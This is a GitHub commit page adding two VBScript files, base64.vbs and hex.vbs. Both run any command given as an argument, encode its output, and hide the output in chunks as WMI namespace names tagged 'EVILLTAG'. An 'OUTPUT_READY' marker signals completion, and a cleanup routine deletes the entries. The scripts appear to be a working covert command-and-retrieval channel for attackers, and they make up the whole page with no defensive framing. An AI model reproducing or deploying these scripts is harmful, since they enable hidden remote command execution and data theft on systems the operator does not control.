Skip to content

Commit ea9fb82

Browse files
author
Jesse Davis
committed
added some things
1 parent 45c2c20 commit ea9fb82

File tree

2 files changed

+119
-0
lines changed

2 files changed

+119
-0
lines changed

base64.vbs

Lines changed: 66 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,66 @@
1+
Function encode(byVal strIn)
2+
Base64Chars = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/"
3+
Dim w1, w2, w3, i, totalLen, strOut
4+
totalLen = Len(strIn)
5+
If Not ((totalLen Mod 3) = 0) Then totalLen = totalLen + 3 - (totalLen Mod 3)
6+
For i = 1 To totalLen Step 3
7+
w1 = prepare( Mid( strIn, i, 1 ) )
8+
w2 = prepare( Mid( strIn, i + 1, 1 ) )
9+
w3 = prepare( Mid( strIn, i + 2, 1 ) )
10+
strOut = strOut + Mid( Base64Chars, ( Int( w1 / 4 ) And 63 ) + 1 , 1 )
11+
strOut = strOut + Mid( Base64Chars, ( ( w1 * 16 + Int( w2 / 16 ) ) And 63 ) + 1, 1 )
12+
If (w2 Or w3) Then
13+
strOut = strOut + Mid( Base64Chars, ( ( w2 * 4 + Int( w3 / 64 ) ) And 63 ) + 1, 1 )
14+
If w3 Then
15+
strOut = strOut + Mid( Base64Chars, (w3 And 63 ) + 1, 1)
16+
End If
17+
End If
18+
Next
19+
encode = strOut
20+
End Function
21+
Function prepare( byVal strIn )
22+
If Len( strIn ) = 0 Then
23+
prepare = 0 : Exit Function
24+
Else
25+
prepare = Asc(strIn)
26+
End If
27+
End Function
28+
Function parseCmdOutput(cmdOutput)
29+
strLen = Len(cmdOutput)
30+
pieceLen = 5500
31+
nbOfPieces = Int(strLen/pieceLen)
32+
For i = 1 to nbOfPieces
33+
piece = Left(cmdOutput,pieceLen)
34+
piece = " " + piece + " "
35+
cmdOutput = Mid(cmdOutput,pieceLen+1)
36+
insertPiece i,piece
37+
Next
38+
cmdOutput = " " + cmdOutput + " "
39+
insertPiece nbOfPieces+1,cmdOutput
40+
End Function
41+
Function insertPiece(ByVal number,ByVal piece)
42+
count = CStr(number)
43+
zeros = String(6 - Len(count), "0")
44+
tag = "EVILLTAG" + zeros + count
45+
piece = encode(piece)
46+
piece = Replace(piece,"+","Ó")
47+
piece = Replace(piece,"/","_")
48+
piece = tag + piece
49+
Set aShell = CreateObject("WScript.Shell")
50+
aShell.Exec("wmic /NAMESPACE:\\root\default PATH __Namespace CREATE Name='" + piece + "'")
51+
WScript.Sleep 50
52+
End Function
53+
Set myShell = CreateObject("WScript.Shell")
54+
tmpDir = myShell.ExpandEnvironmentStrings("%TEMP%")
55+
Select Case WScript.Arguments.Item(0)
56+
Case "exit"
57+
myShell.Exec("wmic.exe /NAMESPACE:\\root\default PATH __Namespace where ""Name like 'OUTPUT_READY'"" delete")
58+
myShell.Exec("wmic.exe /NAMESPACE:\\root\default PATH __Namespace where ""Name like '%EVILLTAG%'"" delete")
59+
Case Else
60+
myShell.Exec("wmic.exe /NAMESPACE:\\root\default PATH __Namespace where ""Name like 'OUTPUT_READY'"" delete")
61+
myShell.Exec("wmic.exe /NAMESPACE:\\root\default PATH __Namespace where ""Name like '%EVILLTAG%'"" delete")
62+
set cmdExecution = myShell.exec("%comspec% /c " + WScript.Arguments.Item(0))
63+
cmdOutput = cmdExecution.StdOut.ReadAll
64+
parseCmdOutput cmdOutput
65+
myShell.Exec("wmic /NAMESPACE:\\root\default PATH __Namespace CREATE Name='OUTPUT_READY'")
66+
End Select

hex.vbs

Lines changed: 53 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,53 @@
1+
function hexEn(str)
2+
dim strEncoded, i
3+
strEncoded = ""
4+
for i = 1 to Len(str)
5+
strEncoded = strEncoded + "_" + Hex(Asc(Mid(str, i, 1)))
6+
next
7+
hexEn = strEncoded
8+
end function
9+
function prepare(byVal strIn)
10+
If Len(strIn) = 0 Then
11+
prepare = 0 : Exit function
12+
Else
13+
prepare = Asc(strIn)
14+
End If
15+
End function
16+
function parseCmdOutput(cmdOutput)
17+
strLen = Len(cmdOutput)
18+
pieceLen = 5500
19+
nbOfPieces = Int(strLen/pieceLen)
20+
For i = 1 to nbOfPieces
21+
piece = Left(cmdOutput,pieceLen)
22+
piece = " " + piece + " "
23+
cmdOutput = Mid(cmdOutput,pieceLen+1)
24+
insertPiece i,piece
25+
Next
26+
cmdOutput = " " + cmdOutput + " "
27+
insertPiece nbOfPieces+1,cmdOutput
28+
End function
29+
function insertPiece(ByVal number,ByVal piece)
30+
count = CStr(number)
31+
zeros = String(6 - Len(count), "0")
32+
tag = "EVILLTAG" + zeros + count
33+
piece = hexEn(piece)
34+
piece = tag + piece
35+
Set aShell = CreateObject("WScript.Shell")
36+
aShell.Exec("wmic.exe /NAMESPACE:\\root\default PATH __Namespace CREATE Name='" + piece + "'")
37+
WScript.Sleep 50
38+
End function
39+
Set myShell = CreateObject("WScript.Shell")
40+
cmd = myShell.ExpandEnvironmentStrings("%comspec%")
41+
tmpDir = myShell.ExpandEnvironmentStrings("%TEMP%")
42+
Select Case WScript.Arguments.Item(0)
43+
Case "exit"
44+
myShell.Exec("wmic.exe /NAMESPACE:\\root\default PATH __Namespace where ""Name like 'OUTPUT_READY'"" delete")
45+
myShell.Exec("wmic.exe /NAMESPACE:\\root\default PATH __Namespace where ""Name like '%EVILLTAG%'"" delete")
46+
Case Else
47+
myShell.Exec("wmic.exe /NAMESPACE:\\root\default PATH __Namespace where ""Name like 'OUTPUT_READY'"" delete")
48+
myShell.Exec("wmic.exe /NAMESPACE:\\root\default PATH __Namespace where ""Name like '%EVILLTAG%'"" delete")
49+
set cmdExecution = myShell.exec("%comspec% /c " + WScript.Arguments.Item(0))
50+
cmdOutput = cmdExecution.StdOut.ReadAll
51+
parseCmdOutput cmdOutput
52+
myShell.Exec("wmic /NAMESPACE:\\root\default PATH __Namespace CREATE Name='OUTPUT_READY'")
53+
End Select

0 commit comments

Comments
 (0)